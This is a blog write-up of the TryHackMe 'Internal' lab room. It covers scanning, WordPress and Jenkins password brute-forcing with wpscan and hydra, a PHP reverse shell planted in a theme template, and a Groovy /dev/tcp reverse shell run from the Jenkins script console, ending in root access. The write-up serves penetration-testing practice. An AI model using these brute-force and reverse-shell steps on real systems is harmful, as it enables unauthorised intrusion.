Bits Beyond

Internal TryHackMe Write-Up

Cover Image for Internal TryHackMe Write-Up

Introduction

Internal is a hard room on try hack me which lets you slip in the role of a penetration tester which has the job to conduct a penetration test

Pre-engagement Briefing

The first task is to read the pre-engagement briefing which gives you the scope of the penetration test. The briefing includes the virtual machine, the scope of the test, the instruction to find and report all vulnerabilities and as a proof of exploitation, to secure the two flags User.txt and Root.txt. Furthemore it gives us the instruction Ensure that you modify your hosts file to reflect internal.thm We can do this by adding internal.thm to /etc/hosts

127.0.0.1       localhost
127.0.1.1       kali
REMOTE_IP    internal.thm

Scanning

We will begin with an nmap scan:

nmap -sV -sC -T4 REMOTE_IP -p-

This command will scan all ports on the remote machine and will run default scripts and enumerate versions of services.

┌──(kali㉿kali)-[~]
└─$ nmap -sV -sC -T4 REMOTE_IP -p- 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-14 14:39 CEST
Nmap scan report for internal.thm (REMOTE_IP)
Host is up (0.053s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
|   256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
|_  256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.94 seconds

From the scan we can see that the machine is running an ssh service on port 22 and an apache server on port 80. We also find out that the server is running Ubuntu. Let's visit the website on port 80 by visiting http://internal.thm

Apache Default Page

The default apache page. Maybe there is more to it. We can enumerate the directories on this server by using gobuster:

gobuster dir -u http://internal.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://internal.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (\@TheColonial) & Christian Mehlmauer (\@firefart)
===============================================================
[+] Url:                     http://internal.thm
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/blog                 (Status: 301) [Size: 311] [--> http://internal.thm/blog/]
/wordpress            (Status: 301) [Size: 316] [--> http://internal.thm/wordpress/]
/javascript           (Status: 301) [Size: 317] [--> http://internal.thm/javascript/]
/phpmyadmin           (Status: 301) [Size: 317] [--> http://internal.thm/phpmyadmin/]
/server-status        (Status: 403) [Size: 277]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

After running the gobuster command we find several directories, one of which is a wordpress blog

Wordpress Blog

After looking around on the site we discover a login form. As this login form discloses wheter a username is taken or not we can very easily guess that the username admin is in use

http://internal.thm/blog/wp-login.php

Wordpress Login Wordpress Login form disclosing admin is a valid username by explicit login rejection message Wordpress Login form disclosing hello_world is a invalid username by explicit login rejection message

But even if we would not have guessed the username we could have used wpscan to find available usernames

wpscan --url http://internal.thm/wordpress -e
[+] admin
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://internal.thm/blog/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Login Error Messages (Aggressive Detection)

With this tool we also find that the wordpress theme is out of date or the XML-RPC seems to be enabled. We note down our findings for later and move on with our wordpress login form. With the username admin we can now bruteforce the password

wpscan --url http://internal.thm/wordpress -U admin -P /usr/share/wordlists/rockyou.txt
[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - admin / 🤫                                                                                                                                                                                                                                
Trying admin / bratz1 Time: 00:02:55 <                                                                                                                                                                            > (3885 / 14348277)  0.02%  ETA: ??:??:??
 
[!] Valid Combinations Found:
 | Username: admin, Password: 🤫

Awesome! There is the password for the admin account. We now have the credentials for the wordpress login form.

Wordpress Dashboard

Since we are now able to edit the pages on the blog, we can add a php reverse shell to the 404 page. We can find this page under Appereance > Theme Editor > 404 Template Let's use pentestmonkey's php reverse shell. We can simply copy the code and paste it into the 404 template. After that we just need to adapt the $ip and $port variables to our needs and save the template.

$ip = 'LOCAL_IP';  // CHANGE THIS
$port = 53;

Now we start the netcat listener on our attacker machine.

nc -nlvp 53

After that we visit the 404 page with http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php.

┌──(kali㉿kali)-[~]
└─$ nc -nlvp 53    
listening on [any] 53 ...
connect to [LocalIpTextPlaceholder] from (UNKNOWN) [REMOTE_IP] 43156
Linux internal 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 17:41:04 up 24 min,  0 users,  load average: 0.00, 0.01, 0.08
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

We have a reverse-shell! Let's upgrade this shell to a fully interactive shell by using python.

python3 -c 'import pty;pty.spawn("/bin/bash")'

Now we background the process by pressing CTRL + Z, folled by this command on the host machine:

stty raw -echo; fg

After our reverse shell is in the foreground againg we have to type

export TERM=xterm

Now we have stabilized our shell. whoami shows us we are www-data. Inspecting the home directories we find that there is another user named aubreanna. Currently we do not have access to this home directory.

www-data@internal:/home$ ls -l 
total 4
drwx------ 7 aubreanna aubreanna 4096 Aug  3  2020 aubreanna
www-data@internal:/home$ cd aubreanna
bash: cd: aubreanna: Permission denied
www-data@internal:/home$ 

To find a way in regardless we can try linpeas. Unfortunatly we do not find any credentials. After some manual enumeration we find the file /opt/wp-save.txt

www-data@internal:/opt$ cat wp-save.txt
Bill,
 
Aubreanna needed these credentials for something later.  Let her know you have them and where they are.
 
aubreanna: 🤫

That's the credentials for aubreanna. Let's use them to login via ssh.

┌──(kali㉿kali)-[~/linpeas]
└─$ ssh aubreanna@REMOTE_IP
aubreanna@REMOTE_IP's password: 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-112-generic x86_64)
 
 \* Documentation:  https://help.ubuntu.com
 \* Management:     https://landscape.canonical.com
 \* Support:        https://ubuntu.com/advantage
 
  System information as of Sun Jul 14 18:43:56 UTC 2024
 
  System load:  0.08              Processes:              114
  Usage of /:   63.7% of 8.79GB   Users logged in:        0
  Memory usage: 45%               IP address for eth0:    <REMOTE_IP/>
  Swap usage:   0%                IP address for docker0: 172.17.0.1
 
  => There is 1 zombie process.
 
 
 \* Canonical Livepatch is available for installation.
   \- Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch
 
0 packages can be updated.
0 updates are security updates.
 
 
Last login: Mon Aug  3 19:56:19 2020 from 10.6.2.56
aubreanna@internal:~$ 

With this we can answer our first question about the user flag

aubreanna@internal:~$ cat user.txt
🤫

User.txt Flag

Click to reveal

As we connected we saw an interesting interface docker0. We make a note of this an continue with our enumeration. Running sudo -l shows that we can run nothing as sudo.

Maybe we find a SUID bit we can exploit by running find / -perm -u=s -type f 2>/dev/null. Also nothing.

Looking at the files in aubreanna's home directory again we can find another interesting file

aubreanna@internal:~$ cat jenkins.txt
Internal Jenkins service is running on 172.17.0.2:8080

There is an jenkins server running with a ip adress differing from the one of the target machine

With ifconfig we can verify this. We can also see that this IP Adress belongs to the docker interface we saw earlier when connecting.

aubreanna@internal:~$ ifconfig
docker0: flags=4163\<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        inet6 fe80::42:4fff:fe20:8bc2  prefixlen 64  scopeid 0x20\<link>
        ether 02:42:4f:20:8b:c2  txqueuelen 0  (Ethernet)
        RX packets 8  bytes 420 (420.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 19  bytes 1394 (1.3 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
eth0: flags=4163\<UP,BROADCAST,RUNNING,MULTICAST>  mtu 9001
        inet REMOTE_IP  netmask 255.255.0.0  broadcast 10.10.255.255
        inet6 fe80::ed:cbff:fed1:4f3d  prefixlen 64  scopeid 0x20\<link>
        ether 02:ed:cb:d1:4f:3d  txqueuelen 1000  (Ethernet)
        RX packets 25960  bytes 5280178 (5.2 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 24174  bytes 6732920 (6.7 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73\<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10\<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 567  bytes 49072 (49.0 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 567  bytes 49072 (49.0 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
veth8a1e8b3: flags=4163\<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet6 fe80::6067:c0ff:fe7c:f23a  prefixlen 64  scopeid 0x20\<link>
        ether 62:67:c0:7c:f2:3a  txqueuelen 0  (Ethernet)
        RX packets 8  bytes 532 (532.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 35  bytes 2610 (2.6 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Then the Jenkins Server must be hosted in a docker container on this machine. To connect to it we will use a ssh tunnel technique. From your attacker machine run the following command:

ssh -L 8080:172.17.0.2:8080 aubreanna@internal.thm
┌──(kali㉿kali)-[~]
└─$ ssh -L 8080:172.17.0.2:8080 aubreanna@internal.thm
aubreanna@internal.thm's password: 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-112-generic x86_64)
 
 \* Documentation:  https://help.ubuntu.com
 \* Management:     https://landscape.canonical.com
 \* Support:        https://ubuntu.com/advantage
 
  System information as of Sun Jul 14 19:16:47 UTC 2024
 
  System load:  0.0               Processes:              114
  Usage of /:   63.7% of 8.79GB   Users logged in:        0
  Memory usage: 47%               IP address for eth0:    <REMOTE_IP/>
  Swap usage:   0%                IP address for docker0: 172.17.0.1
 
  => There is 1 zombie process.
 
 
 \* Canonical Livepatch is available for installation.
   \- Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch
 
0 packages can be updated.
0 updates are security updates.
 
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
 
Last login: Sun Jul 14 19:12:54 2024 from <LOCAL_IP/>

Now when we type http://localhost:8080/ in our browser we should see a jenkins login form

Jenkins login Form

First trying some default credentials for jenkins, but unfortunatly we find no default login that works. With hydra we can try to brute force a password. First we need to capture a login post package so that we know how a login looks like. For this we can use burp suite. We need to open a browser proxied through burp suite and set intercept to on. Then we visit the login page and enter some credentials. After that we can see the package captured in burp suite.

Login Post Package in Burp Suite

Now we can use this package to brute force the password with hydra

hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 -s 8080 http-form-post "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in&Login=Login:Invalid username or password"
┌──(kali㉿kali)-[~]
└─$ hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 -s 8080 http-form-post "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in&Login=Login:Invalid username or password" 
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
 
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-07-14 22:16:27
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://127.0.0.1:8080/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in&Login=Login:Invalid username or password
[STATUS] 433.00 tries/min, 433 tries in 00:01h, 14343966 to do in 552:07h, 16 active
[8080][http-post-form] host: 127.0.0.1   login: admin   password: spongebob
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-07-14 22:17:30

There is our admin password. We can now login to jenkins and see the dashboard

Jenkins Dashboard

Now that we are logged in to jenkins as admin, let's try to place a reverse shell there. Under Manage Jenkins > Tools and Actions > Script Console we can create our script. After a bit of research we find a reverse shell script that we can use.

r = Runtime.getRuntime()
p = r.exec(["/bin/bash", "-c", "exec 5\<>/dev/tcp/LOCAL_IP/4444; cat \<&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

But before running the script we should no forget to start our netcat listener by running nc -lvnp 4444. Now let's run the script in the jenkins console. Success! We now have a reverse shell to the jenkins docker container

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
 
listening on [any] 4444 ...
connect to [LocalIpTextPlaceholder] from (UNKNOWN) [REMOTE_IP] 55142
whoami
jenkins

With /bin/bash -i we should upgrade our shell to a bash shell. Now let's see whether we can escalate our privileges. Since in our previous machine we found the user password in the /opt directory, let's see if we can find something similar here.

jenkins@jenkins:/$ cd /opt
cd /opt
jenkins@jenkins:/opt$ ls -la
ls -la
total 12
drwxr-xr-x 1 root root 4096 Aug  3  2020 .
drwxr-xr-x 1 root root 4096 Aug  3  2020 ..
-rw-r--r-- 1 root root  204 Aug  3  2020 note.txt

Indeed, there is a note.txt file stored there containing the root password.

jenkins@jenkins:/opt$ cat note.txt
cat note.txt
Aubreanna,
 
Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here.  Use them if you 
need access to the root user account.
 
root: 🤫

With this we can ssh in our original machine and get the root flag

┌──(kali㉿kali)-[~]
└─$ ssh root@internal.thm     
root@internal.thm's password: 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-112-generic x86_64)
(...)
Last login: Mon Aug  3 19:59:17 2020 from 10.6.2.56
root@internal:~# ls -la
total 48
drwx------  7 root root 4096 Aug  3  2020 .
drwxr-xr-x 24 root root 4096 Aug  3  2020 ..
-rw-------  1 root root  193 Aug  3  2020 .bash_history
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwx------  2 root root 4096 Aug  3  2020 .cache
drwx------  3 root root 4096 Aug  3  2020 .gnupg
drwxr-xr-x  3 root root 4096 Aug  3  2020 .local
-rw-------  1 root root 1071 Aug  3  2020 .mysql_history
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
drwx------  2 root root 4096 Aug  3  2020 .ssh
-rw-r--r--  1 root root   22 Aug  3  2020 root.txt
drwxr-xr-x  3 root root 4096 Aug  3  2020 snap
root@internal:~# cat root.txt
🤫

With this we can answer our last question

Root.txt Flag

Click to reveal

Conclusion

The Internal room on TryHackMe is a fun room to practice penetration testing. It covers a wide range of topics from web application vulnerabilities to docker container security. The room is a good challenge and requiring us not to only rely on automated tools. Thanks to TheMayor for creating this room and TryHackMe for giving us free access. And of course, thanks to you for reading this write-up. I hope you liked it, and see you in the next one.

Read Next

Cover Image for Daily Bugle TryHackMe Write-Up

Daily Bugle TryHackMe Write-Up

The Daily Bugle room on TryHackMe is a hard room that requires you to compromise a Joomla CMS account.

Cover Image for Pickle Rick TryHackMe Write-Up

Pickle Rick TryHackMe Write-Up

Pickle Rick room on TryHackMe is a easy Rick and Morty themed room suitable for beginners.

Cover Image for Relevant TryHackMe Write-Up

Relevant TryHackMe Write-Up

Relevant is a challenging room on TryHackMe that puts you in the role of a penetration tester, tasked with conducting a penetration test and delivering a detailed report.